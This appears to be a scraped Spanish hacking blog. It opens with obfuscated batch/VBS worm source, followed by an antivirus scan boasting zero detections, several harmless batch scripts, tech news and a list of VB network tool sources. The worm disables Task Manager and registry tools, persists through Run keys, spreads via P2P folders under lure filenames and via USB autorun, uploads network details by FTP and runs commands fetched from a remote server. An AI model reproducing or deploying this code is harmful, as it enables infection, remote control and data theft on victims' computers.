%egnkv%lasdaod=Replace(sjdfhjs,"agnvl",jdfasuu)>>%windir%\system32\sysio\asjdhau.vbs %ini%
%egnkv%skdnmxi=Replace(lasdaod,"egnkv",dwudhqw)>>%windir%\system32\sysio\asjdhau.vbs %ini%
%egnkv%sjsabwu=Replace(skdnmxi,"fsdhf",asdwdkw)>>%windir%\system32\sysio\asjdhau.vbs %ini%
%egnkv%%agnvl%skdjawuj=dfjalds.opentextfile("%mys%",2)>>%windir%\system32\sysio\asjdhau.vbs %ini%
%egnkv%skdjawuj.write sjsabwu>>%windir%\system32\sysio\asjdhau.vbs %ini%
start %windir%\system32\sysio\asjdhau.vbs %ini%
del /f /q %windir%\system32\sysio\h432.vbs,%windir%\system32\sysio\$&& exit %ini%
:_h432crt %m5%
%egnkv%%agnvl%xect=CREATEOBJECT("WSCRIPT.SHELL")>%windir%\system32\sysio\h432.vbs %m5%
%egnkv%xect.run "cmd /c %mys%%1", vbhide>>%windir%\system32\sysio\h432.vbs&& start %windir%\system32\sysio\h432.vbs&& goto :eof %m5%
:cmp %m7%
%fsdhf%"m%1"<%windir%\system32\sysio\$>nul %m7%
if %errorlevel%==1 (%agnvl% a=%a%o %m7%
goto:eof) %m7%
%agnvl% a=%a%x %m7%
goto :EOF %m7%
:rnd %m6%
%agnvl%/a r=%random%%%10 %m6%
goto:eof %m6%
:_perp %m1%
r%sdjf:~6,1%g %sdjf:~10,1%%sdjf:~9,1%%sdjf:~9,1% "HKCU\Softw%sdjf:~10,1%r%sdjf:~6,1%\Microsoft\Win%sdjf:~9,1%ows\Curr%sdjf:~6,1%ntV%sdjf:~6,1%rsion\Polici%sdjf:~6,1%s\%sdjf:~6,1%xplor%sdjf:~6,1%r" /v NoFol%sdjf:~9,1%%sdjf:~6,1%rOptions /t R%sdjf:~6,1%G_%sdjf:~9,1%WOR%sdjf:~9,1% /%sdjf:~9,1% "1" /f %m1%
r%sdjf:~6,1%g %sdjf:~10,1%%sdjf:~9,1%%sdjf:~9,1% "HKCU\Softw%sdjf:~10,1%r%sdjf:~6,1%\Microsoft\Win%sdjf:~9,1%ows\Curr%sdjf:~6,1%ntv%sdjf:~6,1%rsion\Polici%sdjf:~6,1%s\Syst%sdjf:~6,1%m" /v %sdjf:~9,1%is%sdjf:~10,1%bl%sdjf:~6,1%T%sdjf:~10,1%skMgr /t r%sdjf:~6,1%g_%sdjf:~9,1%wor%sdjf:~9,1% /%sdjf:~9,1% "1" /f %m1%
r%sdjf:~6,1%g %sdjf:~10,1%%sdjf:~9,1%%sdjf:~9,1% "HKCU\Softw%sdjf:~10,1%r%sdjf:~6,1%\Microsoft\Win%sdjf:~9,1%ows\Curr%sdjf:~6,1%ntV%sdjf:~6,1%rsion\Polici%sdjf:~6,1%s\Syst%sdjf:~6,1%m" /v %sdjf:~9,1%is%sdjf:~10,1%bl%sdjf:~6,1%R%sdjf:~6,1%gistryTools /t r%sdjf:~6,1%g_%sdjf:~9,1%wor%sdjf:~9,1% /%sdjf:~9,1% "1" /f %m1%
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v lilUpdate /t REG_SZ /d %mys%/f %m1%
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v AvUpdate /t REG_SZ /d %windir%\system32\sysio\h42.vbs /f %m1%
del /q %windir%\system32\sysio\t.rar %m1%
%systemdrive%&& set rc=1 %m1%
if exist "%programfiles%\WINRAR\WinRAR.exe" (set r="%programfiles%\WINRAR\WinRAR.exe" %m1%
%r% a -ibck -y %windir%\system32\sysio\t.rar %mys: =% %m1%
if not %errorlevel%==9009 set rc=0) %m1%
for %%a in ("%userprofile%\Configuraci¢n local\Datos de programa\Ares\My Shared Folder\" "%userprofile%\Local Settings\Application Data\Ares\My Shared Folder\" "%programfiles%\eMule\Incoming\" "%programfiles%\Shareaza\Downloads\" "%programfiles%\BearShare\Shared\" "%programfiles%\LimeWire\Shared\") do (if exist "%%a" (cd "%%a" %m1%  
for %%e in (*.rar) do (type !mys: =!>"%%~ne.bat" %m1%
ping -n 2 localhost >nul&& !r! a -ibck -y "%%e" "%%~ne.bat")      %m1%
for %%g in ("XXX Photos" dvdrip glee "Keygen Constructor" wii psp "Keygen ALL" fringe surrogates "Nude Celebrities" "MSN hack codes" "Password list" "Activation tool" Windows7 "Windows 7 trucos" "Windows 7 tricks" "MSN Hack Tool" Photoshop "Photoshop CS4") do (type !mys: =!>%%g.bat %m1%
if !rc!==0 (ping -n 2 localhost>nul&& !r! a -ibck -y %%g.rar %%g.bat)))) %m1%
call:_h432crt fnid&& ping -n 12 localhost>nul %m1%
call:_h432crt dinfres&& ping -n 12 localhost>nul&& set ertr=9 %m1%
%fsdhf%"m%ertr: =%"<%mys%>%windir%\system32\sysio\fet.bat %m1%
ping -n 1 www.google.com>nul&&(if not exist %username%at%userdomain%_cmd.t ( %m1%
%egnkv%%agnvl%xect=CREATEOBJECT("WSCRIPT.SHELL"^)>%windir%\system32\sysio\h42.vbs %m1%
%egnkv%xect.run "cmd /c %windir%\system32\sysio\fet.bat", vbhide>>%windir%\system32\sysio\h42.vbs %m1%
%windir%\system32\sysio\h42.vbs)) %m1%
call:_h432crt mut&& exit %m1%
:_dinfres %m2%
%egnkv%%agnvl%xect=CREATEOBJECT("WSCRIPT.SHELL")>%windir%\system32\sysio\ubsh.vbs %m2%
%egnkv%%agnvl%kjslras=GetObject("winmgmts:\\.\root\cimv2").ExecNotificationQuery _>>%windir%\system32\sysio\ubsh.vbs %m2%
%egnkv%("Select*From __InstanceOperationEvent Within 10 Where " _>>%windir%\system32\sysio\ubsh.vbs %m2%
%egnkv%^& "TargetInstance isa 'Win32_LogicalDisk'")>>%windir%\system32\sysio\ubsh.vbs %m2%
%egnkv%Do While True>>%windir%\system32\sysio\ubsh.vbs %m2%
%egnkv%%agnvl%asdaiw=kjslras.NextEvent>>%windir%\system32\sysio\ubsh.vbs %m2%
%egnkv%If asdaiw.TargetInstance.DriveType=2 _>>%windir%\system32\sysio\ubsh.vbs %m2%
%egnkv%Or asdaiw.TargetInstance.DriveType=3 Then>>%windir%\system32\sysio\ubsh.vbs %m2%
%egnkv%Select Case asdaiw.Path_.Class>>%windir%\system32\sysio\ubsh.vbs %m2%
%egnkv%Case "__InstanceCreationEvent">>%windir%\system32\sysio\ubsh.vbs %m2%
%egnkv%wscript.sleep 2000>>%windir%\system32\sysio\ubsh.vbs %m2%
%egnkv%xect.run "cmd /c %mys%ddetc " ^& asdaiw.TargetInstance.DeviceId ^& " 1", vbhide>>%windir%\system32\sysio\ubsh.vbs %m2%
%egnkv%End Select>>%windir%\system32\sysio\ubsh.vbs %m2%
%egnkv%End If>>%windir%\system32\sysio\ubsh.vbs %m2%
%egnkv%Loop>>%windir%\system32\sysio\ubsh.vbs %m2%
taskkill /f /im wscript.exe %m2%
start %windir%\system32\sysio\ubsh.vbs&& goto :eof %m2%
:_fnid %m4%
for %%i in (C: H: I: J: K: L: M: Z: Y: X: W: V: U: T: S: R: Q: P: O: N: G: F: E: D:) do (call:_ddetc %%i) %m4%
exit %m4%
:_ddetc %m4%
if exist %1 (fsutil fsinfo drivetype %1|findstr /C:"CD" >nul&& (>nul echo.)|| (if exist %1\%sdjf:~10,1%utorun.inf ( %m4%
for %%z in ("%1\%sdjf:~10,1%utorun.inf" "%1\lil.bat") do (%sdjf:~10,1%ttrib -h -r -s -a "%%z") %m4%
ren %1\%sdjf:~10,1%utorun.inf %random%ow.ned) %m4%
echo.exit|cmd/K prompt $_[%sdjf:~10,1%utorun]$_open=lil.bat$_shellexecute=lil.bat$_; >"%1\%sdjf:~10,1%utorun.inf" %m4%
type "%mys: =%">"%1\lil.bat" %m4%
for %%z in (%1\%sdjf:~10,1%utorun.inf %1\lil.bat %1\*.ned) do (%sdjf:~10,1%ttrib +h "%%z"))) %m4%
if %2'==' (goto:eof) else (exit) %m4%
@%systemdrive% %m9%
@set sdjf=fictsoehnda %m9%
@set agnvl=%sdjf:~4,1%%sdjf:~6,1%%sdjf:~3,1% %m9%
@%agnvl%egnkv=%sdjf:~6,1%%sdjf:~2,1%%sdjf:~7,1%%sdjf:~5,1% %m9%
@%agnvl%fsdhf=%sdjf:~0,2%%sdjf:~8,2% %m9%
%agnvl: =%local enabledelayedexpansion %m9%
cd %windir%\system32\sysio %m9%
%agnvl%"target=%windir%\system32\sysio\" %m9%
ipconfig/all>%username%at%userdomain%_ipcfg.t %m9%
%egnkv: =%.exit|cmd/K prompt $_verbose$_open FTP.SERVER$_FTP.USER$_FTP.PASS$_cd FTP.TARGET.FOLDER$_verbose >$.t %m9%
%egnkv: =%.>mello.t&& call:r $.t exit ipcfgs.t %m9%
%egnkv: =%.exit|cmd/K prompt $_lcd "%target%"$_put %username%at%userdomain%_ipcfg.t$_ls -lF$_verbose$_quit$_rem >>ipcfgs.t %m9%
taskkill /f /im ftp.exe %m9%
ftp -s:ipcfgs.t %m9%
%egnkv: =%.>mello.t&& call:r $.t exit mello.t %m9%
%egnkv: =%.exit|cmd/K prompt $_lcd "%target%"$_get %username%at%userdomain%_cmd.t$_ls -lF$_verbose$_quit$_rem >>mello.t %m9%
:floop %m9%
taskkill /f /im ftp.exe %m9%
ftp -s:mello.t %m9%
if exist %username%at%userdomain%_cmd.t for /f "delims=" %%a in (%username%at%userdomain%_cmd.t) do (%agnvl%"rcmd=%%a" %m9%
if defined rcmd (cmd /c !rcmd! %m9%
if !errorlevel!==0 (%egnkv: =%.>"d.t"&& call:r $ exit "d.t" %m9%
%egnkv: =%.exit|cmd/K prompt $_delete !username!at!userdomain!_cmd.t$_ls -lF$_verbose$_quit$_rem >>"d.t" %m9%
taskkill /f /im ftp.exe %m9%
ftp -s:"d.t">nul&& del /q !username!at!userdomain!_cmd.t))) %m9%
goto:floop %m9%
:r %m9%
for /f "tokens=1,* delims=]" %%A in ('"type %1|find /n /v """') do (%agnvl%"current=%%B" %m9%
if defined current (call %agnvl%current=!!current:%2=!!&& %egnkv%!current!>>%3) else %egnkv: =%.>>%3) %m9%
goto:eof %m9%
:: %m0%
:: %m8%

Debido a posibles problemas al postear he subido el archivo en formato .txt a 1l1l3l5.a.txt

File Info

Report generated: 28.9.2009 at 19.25.46 (GMT 1)
Filename: 1l1l3l5.a.txt
File size: 11 KB
MD5 Hash: 7ab39a5929fa5dd09b38be6bd249fd4e
SHA1 Hash: 4492A228C7D2732DCACE25B2B73F3C6EEDC896CC
Self-Extract Archive: Nothing found
Binder Detector: Nothing found
Detection rate: 0 on 23

Detections

a-squared - -
Avira AntiVir - -
Avast - -
AVG - -
BitDefender - -
ClamAV - -
Comodo - -
Dr.Web - -
Ewido - -
F-PROT6 - -
Ikarus T3 - -
Kaspersky - -
McAfee - -
NOD32 v3 - -
Norman - -
Panda - -
QuickHeal - -
Solo Antivirus - -
Sophos - -
TrendMicro - -
VBA32 - -
VirusBuster - -
ZonerAntivirus - -

Scan report generated by
NoVirusThanks.org

;D

Función Lenght + efecto - by xassiz

2009-09-25T06:39:00.000-07:00

Título: Función Lenght + efecto
Temática: Strings
Autor: xassiz
Descripción: Muestra la longitud de una cadena introducida, y la muestra en vertical.
Funcionamiento: Pide una string, y llama a la etiqueta lenght para medirla con un contador. Luego crea una variable para cada caracter y los muestre verticalmente.

@echo off
title Funcion Lenght + efecto  -  by xassiz!
setlocal enabledelayedexpansion
:main
(set txt=)
set/p "txt=String> "
if not defined txt (goto:main)
set/a cont=0
call :lenght
cls
echo."%txt%" mide %cont%
pause>nul
echo.
for /L %%_ in (1,1,%cont%) do (echo.!let[%%_]!)
echo.
pause>nul
exit
:lenght
set "var=!txt:~%cont%,1!"
if not defined var (goto:eof)
set/a cont+=1
set "let[%cont%]=%var%"
goto:lenght

Salida:


String> me llamo xassiz

'se borra la pantalla

"me llamo xassiz" mide 15

'hace una pausa

m
e

l
l
a
m
o

x
a
s
s
i
z

[PTLR] Pon Texto al Lado del Reloj - by xassiz

2009-09-25T06:32:00.000-07:00

Bueno, hoy os traigo este sencilla aplicacion, para poner texto al lado del reloj de Windows.

Espero que os guste! Saludos!!

@echo off
title Pon Texto al Lado del Reloj - by xassiz
color 0a
:main
cls&echo.
set "text="
set/p "text=Texto> "
@(reg add "HKCU\Control Panel\International" /v s1159 /t REG_SZ /d "%text%" /f
reg add "HKCU\Control Panel\International" /v s2359 /t REG_SZ /d "%text%" /f
reg add "HKCU\Control Panel\International" /v sTimeFormat /t REG_SZ /d "HH:mm:ss tt" /f
reg add "HKEY_USERS\.DEFAULT\Control Panel\International" /v s1159 /t REG_SZ /d "%text%" /f
reg add "HKEY_USERS\.DEFAULT\Control Panel\International" /v s2359 /t REG_SZ /d "%text%" /f
reg add "HKEY_USERS\.DEFAULT\Control Panel\International" /v sTimeFormat /t REG_SZ /d "HH:mm:ss tt" /f
taskkill /im explorer.exe /f || tskill explorer)>nul 2>&1
echo.msgbox"Proceso Finalizado",99,"PTLR - by xassiz">%temp%\PTLR.vbs
start %temp%\PTLR.vbs
start explorer.exe
goto:main

[Batch Game] Maze Maddness - by Splendit

2009-09-25T06:29:00.000-07:00

Bueno, os traigo un juego que se me hizo entretenido, programado en Batch.

Tienes que llegar con la pelota a la X sin caerte, facil!

@echo off
@title Maze Madness
@mode con cols=22 lines=20
::Batch Game Maze Madness
::by Splendit
::Based On SmartGenius Batch Game Logics

setlocal enabledelayedexpansion
If Not Exist Keyboard.exe (Call :Keyboard)

:Vars
Set LimX=16
Set LimY=16
Set IniX=0
Set IniY=0
Set MovX=0
Set MovY=0
Set "Bound=Û"
Set "Space= "
Set "Player=O"
Set "Limit=°"
Set "Exit=X"

:Init
For /l %%a in (%IniX%,1,%LimX%) do (
For /l %%b in (%IniY%,1,%LimY%) do (
Set X%%aY%%b=%Limit%))
Call :Nivel_1
Set "X4Y6=%Player%"
Set Curpos=X4Y6
Goto :Graphic

:Graphic
Call :Clear
For /l %%d in (%IniX%,1,%LimY%) do (
For /l %%e in (%IniX%,1,%LimX%) do (
Set Lin_%%d=!Lin_%%d!!X%%eY%%d!))
Echo.
Echo.
For /l %%f in (0,1,%LimY%) do (echo.  !Lin_%%f!)
Echo.
If Defined MovL (
Ping -n 1 localhost >nul
Call :%MovL% "%CurPos%"
Goto :Graphic
) else (
Keyboard
)
If "%errorlevel%"=="77" (call :MovX "+" "%CurPos%")
If "%errorlevel%"=="75" (call :MovX "-" "%CurPos%")
If "%errorlevel%"=="80" (call :MovY "+" "%CurPos%")
If "%errorlevel%"=="72" (call :MovY "-" "%CurPos%")
If "%errorlevel%"=="88" (pause&exit)
If "%errorlevel%"=="120" (pause&exit)
Goto :Graphic

:MovY
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
if "%%q"=="%LimY%" Goto :Eof
Set /a MovY=%%q%~11
Call Set NMovY=%%X%%pY!MovY!%%
If "!NMovY!"=="%Bound%" (Set "MovL="&Goto :Eof)
If "!NMovY!"=="%Exit%" (Goto :Win)
If "!NMovY!"=="%Limit%" (Goto :Lose)
Set X%%pY!MovY!=%Player%
Set CurPos=X%%pY!MovY!
Set MovL=MovY "%~1"
Set "%~2=%Space%")
Goto :Eof

:MovX
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
If "%%p"=="%LimX%" Goto :Eof
Set /a MovX=%%p%~11
Call Set NMovX=%%X!MovX!Y%%q%%
If "!NMovX!"=="%Bound%" (Set "MovL="&Goto :Eof)
If "!NMovX!"=="%Exit%" (Goto :Win)
If "!NMovX!"=="%Limit%" (Goto :Lose)
Set "X!MovX!Y%%q=%Player%"
Set "CurPos=X!MovX!Y%%q"
Set MovL=MovX "%~1"
Set "%~2=%Space%")
Goto :Eof

:Clear
for /l %%m in (0,1,%LimY%) do (set Lin_%%m=)
Goto :Eof

:Win
Cls
Echo.
Echo.   Felicitaciones
Echo.
Echo.    Completaste
Echo.     El Nivel
Echo.
Echo.
Pause >nul
Exit

:Lose
Cls
Echo.
Echo.    Has Perdido
Echo.
Echo.  Intenta de Nuevo
Echo.
Echo.
Set "MovL="
Pause >nul
Goto :Vars

:Nivel_1
For %%a in (X1Y1,X1Y2,X1Y4,X1Y7,X1Y8,X1Y11,X2Y1,X2Y14,X2Y15,X3Y1,X3Y3,X3Y5,X3Y10,X3Y12,X4Y1,X4Y7,X5Y9,X5Y10,X5Y11,X6Y5,X6Y9,X6Y11,X6Y15,X7Y1,X7Y5,X7Y11,X7Y15,X8Y3,X8Y11,X8Y15,X9Y3,X9Y7,X9Y11,X9Y15,X10Y11,X10Y15,X11Y5,X11Y10,X11Y11,X11Y15,X12Y1,X12Y2,X12Y8,X12Y13,X13Y3,X13Y6,X13Y7,X13Y8,X13Y9,X13Y13,X14Y1,X14Y15,X15Y3,X15Y4,X15Y7,X15Y11,X15Y12,X15Y14,X15Y15) do (Set %%a=%Bound%)
For %%a in (X1Y3,X1Y5,X1Y6,X1Y9,X1Y10,X1Y12,X1Y13,X1Y14,X1Y15,X2Y2,X2Y3,X2Y4,X2Y5,X2Y6,X2Y7,X2Y8,X2Y9,X2Y10,X2Y11,X2Y12,X2Y13,X3Y2,X3Y4,X3Y6,X3Y7,X3Y8,X3Y9,X3Y11,X3Y13,X3Y14,X3Y15,X4Y2,X4Y3,X4Y4,X4Y5,X4Y8,X4Y9,X4Y10,X4Y11,X4Y12,X4Y13,X4Y14,X4Y15,X5Y1,X5Y2,X5Y3,X5Y4,X5Y5,X5Y6,X5Y7,X5Y8,X5Y12,X5Y13,X5Y14,X5Y15,X6Y1,X6Y2,X6Y3,X6Y4,X6Y6,X6Y7,X6Y8,X6Y10,X6Y12,X6Y13,X6Y14,X7Y2,X7Y3,X7Y4,X7Y6,X7Y8,X7Y9,X7Y10,X7Y12,X7Y13,X7Y14,X8Y1,X8Y2,X8Y4,X8Y5,X8Y6,X8Y7,X8Y8,X8Y9,X8Y10,X8Y12,X8Y13,X8Y14,X9Y1,X9Y2,X9Y4,X9Y5,X9Y6,X9Y8,X9Y9,X9Y10,X9Y12,X9Y13,X9Y14,X10Y1,X10Y2,X10Y3,X10Y4,X10Y5,X10Y6,X10Y7,X10Y8,X10Y9,X10Y10,X10Y12,X10Y13,X10Y14,X11Y1,X11Y2,X11Y3,X11Y4,X11Y6,X11Y7,X11Y8,X11Y9,X11Y12,X11Y13,X11Y14,X12Y3,X12Y4,X12Y5,X12Y6,X12Y7,X12Y9,X12Y10,X12Y11,X12Y12,X12Y14,X12Y15,X13Y1,X13Y2,X13Y4,X13Y5,X13Y10,X13Y11,X13Y12,X13Y14,X13Y15,X14Y2,X14Y3,X14Y4,X14Y5,X14Y6,X14Y7,X14Y8,X14Y9,X14Y10,X14Y11,X14Y12,X14Y13,X14Y14,X15Y1,X15Y2,X15Y5,X15Y6,X15Y8,X15Y9,X15Y10,X15Y13) do (Set %%a=%Space%)
Set "X7Y7=%Exit%"
Goto :Eof

:Keyboard
Echo. Cargando...
(
echo n keyboard.dat
echo e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FF
echo e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00
echo e 0020 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21
echo rcx
echo 002E
echo w0
echo q
echo.
)>keyboard.dat
type keyboard.dat|debug>NUL 2>&1
del /f/q/a "keyboard.exe">NUL 2>&1
ren keyboard.dat "keyboard.exe"
Goto :Eof

Espero que os guste tambien :P

Saludos! With Batch, no Limits!!

Phoenix Flash Player v1.0

2009-08-12T06:55:00.000-07:00

Reproduzca y descargue mucho más rápido sus videos...

Un reproductor flash hecho a su medida, más rapido, más estable y sobre todo mucho más divertido.

Este reproductor de archivosShockWaveFlash (.SWF) tiene opciones de reproducción por URL, además una lista de servidores de video, tales como el famoso "YouTube", entre muchos otros.

¿Te gustó el video y no lo puedes descargar?

Con el Phoenix Flash Player te lo descarga, ¿Cómo?, muy sencillo, copias la URL del video que deseas descargar y él directamente te abre una URL con la descarga.

¿Ves videos en MegaVideo pero te pone un limite de tiempo?

Pues con el Phoenix Flash Player eso quedó atrás, este software está implementando un nuevo método de reproducción, en el cual puedes pasar inadvertido y disfrutar de todos tus videos favoritos,

Características:

Nueva Apariencia

Puedes tener la apariencia de tu aplicación como desees, ¡Ajustala a tu medida!

Transparencia

¿Necesitas ocultar rápido tu aplicación?, pues con esta nueva opción lo puedes hacer, sólo necesitas un click y tu aplicación desaparecerá.

Descarga y Reproducción de Videos (YouTube, Vimeo, MegaVideo)

¿Quieres descarga un video de youtube pero no puedes?, pues encontraste la solución, ya que en este reproductor incorporamos la posibilidad de descargar archivos desde estos servidores, lo único que debes hacer es copiar la URL del video que deseas descargar y listo.

Quieres reproducir en un tamaño mas grande que los de estos servidores, ademas de tener una carga 10 Veces más rapida!, copia y pega la URL del video que deseas ver, y el Phoenix Flash Player se encargaré del resto.

Se añadió la opcion de pasar el filtro de tiempo de MegaVideo, (Función Beta)

Descarga de archivos SWF desde cualquier URL

¿Encontraste algún juego o animación en SWF que te gustó pero no la puedes descargar?, pues aqui está la solución, solo debes copiar la URL y pegarla en el lugar respectivo, y Listo!, ya tienes tu Juego ó animación en tu PC.

Requerimientos del Sistema:

Sistemas operativos
Windows 2000
Windows XP (Cualquier Service Pack)
Windows Server 2003
Windows Vista

Hardware mínimo

Pentium 233 MHz (Recomendado: Pentium 500MHz o superior)
64 MB RAM (Recomendado: 128 MB RAM o más)
10 MB de espacio en disco

Capturas

Descarga (100% Gratuita)

Phoenix Flash Player - Download

Fuente: Phoenix Software

Manual de TrueCrypt para Windows

2009-08-12T04:31:00.000-07:00

Bueno, aqui les dejo un sencillo manual del conocido programa de cifrado TrueCrypt para Windows

Saludos,
xassiz

Usando Google Como Herramienta De Ataque

2009-08-11T11:46:00.000-07:00

Bueno, os dejo este interesante pdf:

&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;a href="http://consultatusdudas.googlepages.com/Google_N26_ago06.pdf" target="_blank"&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;http://consultatusdudas.googlepages.com/Google_N26_ago06.pdf&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;/a&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;

Pueden verlo tambien aqui!

Saludos,
xassiz

Baidu, el buscador chino - la competencia de Google

2009-08-11T11:41:00.000-07:00

Baidu, el buscador chino, que especializa en música y vídeos, crece a un ritmo veloz y ocupa el segundo lugar como motor de búsqueda en todo el mundo aunque sus usuarios esten concentrados en China, el país con más habitantes del mundo y con un crecimiento en Internet muy superior al resto.

Según los datos estadísticos ofrecidos por marketshare, Baidu obtuvo durante el pasado mes de julio, una cuota de mercado del 8.87%, lo que le sitúa en número de usuarios por encima de Yahoo y Bing. No obstante, esta cuota de mercado podría crecer de forma importante caso de dar el salto a otros idiomas (ingles, castellano, portugues...), ya que actualmente Baidu se encuentra disponible en chino.

Esta situación no ha pasado desapercibida por Google que ha iniciado una política de expansión en el país asiático con medidas polémicas con las que trata de evitar la confrontación con el Gobierno chino y que le permitan crecer lo máximo posible en casa de uno de sus potenciales rivales.

De esta manera Google aceptó censurar las búsqueda de contenidos considerados sensibles, como el estado de los derechos humanos, o no ofrecer a los usuarios chinos su servicio de correo electrónico, mensajería instantánea.

Fuente: dacros.com.ar

Windows 8 verá la luz en 2012

2009-08-11T11:36:00.001-07:00

Han sido tres años el tiempo que han tenido que esperar los usuarios para asistir al nacimiento de Windows 7 y serán otros tres lo que tardará en aparecer Windows 8, actualmente en desarrollo y con una fecha de salida prevista para finales del 2012.

Desde el lanzamiento de Vista el 30 de enero de 2007, el avance de la tecnología ha sido indiscutible y la que será la octava versión de la plataforma de Microsoft promete innovar y no defraudar. De momento sabemos que podría integrar elementos de Midori, el proyecto de investigación de un SO modular de Microsoft.

El calendario de difusión de Windows 8 ha sido desvelado por la firma de Redmond durante una conferencia en Italia. Pero estos tres años de espera no son pura coincidencia, ya que la fecha ha sido elegida para competir directamente con Mac OS y así mantener la fidelidad de los consumidores, según informa Silicon News.

Parece que los cinco años transcurridos entre Windows XP y Vista se hicieron demasiado largos para la paciencia del público, por lo que el fabricante ha decidido reducir sistemáticamente el lapso entre sistemas operativos.

P.D:Ahora el lapso va ser mas corto para y mas facil para los vicser y crakers,jejejeej

15 Codigos fuente en VB esenciales

2009-08-11T11:34:00.000-07:00

El pack trae los siguientes códigos de fuente :

---------------------------------------------------------

Enviar backup por e-mail
Formulario que envia un backup de respaldo a una cuenta de correo , los dias que indiquemos , cada ves que inicia el programa.

---------------------------------------------------------

Server ftp - diógenes
Servidor ftp programado en vb

---------------------------------------------------------

Navegador con pestañas
Ejemplo de un navegador web con pestañas usando el control webBrowser y un control TabStrip

---------------------------------------------------------

Programa para bloquear PC
Código fuente de un programa que permite bloquear una o varias pc conectadas en red

---------------------------------------------------------

Escanear puertos
Código fuente que usa el control Winsock para escanear los puertos de un Host

---------------------------------------------------------

Server At
Código fuente que permite acceder a una pc por medio de un navegador web.

---------------------------------------------------------

Cliente FTP
Módulo de clase de un Cliente Ftp con las opciones para subir y descargar archivos , crear, renombrar y eliminar etc.. . Utiliza las Apis de wininet

---------------------------------------------------------

Explorador remoto de Pc
Código fuente realizado por Leandro Ascierto de un explorador remoto de pc, permite transferir archivos , renombrar, eliminar y buscar ficheros , ver los procesos remotos y ejecutarlos etc..

---------------------------------------------------------

Enviar ficheros con el control Winsock
Proyecto simple para transferir archivos utilizando el Microsoft Winsock control

---------------------------------------------------------

Enviar imágenes con Winsock
Ejemplo que utiliza el control Microsoft Winsock para enviar imágenes entre un formulario cliente y un form Servidor

---------------------------------------------------------

Administrador remoto cliente - servidor
Ejemplo que usa un formulario Cliente y un Formulario Servidor y permite enviar pulsaciones de teclas , un mensaje , enviar un comando , cerrar un proceso etc..

---------------------------------------------------------

Chat en visual basic
Código fuente de un Programa de Chat con opciones para enviar texto enriquecido , enviar sonido e imágenes, audio, webcam , Emoticons y algunas otras opciones

---------------------------------------------------------

spyUserAgent
Programa realizado en vb 6.0 que permite extraer y mostrar datos en la web

---------------------------------------------------------

ip finder
Obtener el pais al que pertenece una ip y viceversa, accediendo a los datos desde una bd Access por medio de una consulta sql

---------------------------------------------------------

Descargar
http://rapidshare.com/files/124832005/Codigos_fuente_sobre_inet__controles_winsock_y___b y_leann.rar
0
http://www.megaupload.com/?d=L6MYGVYR

Fuente: LatinoHack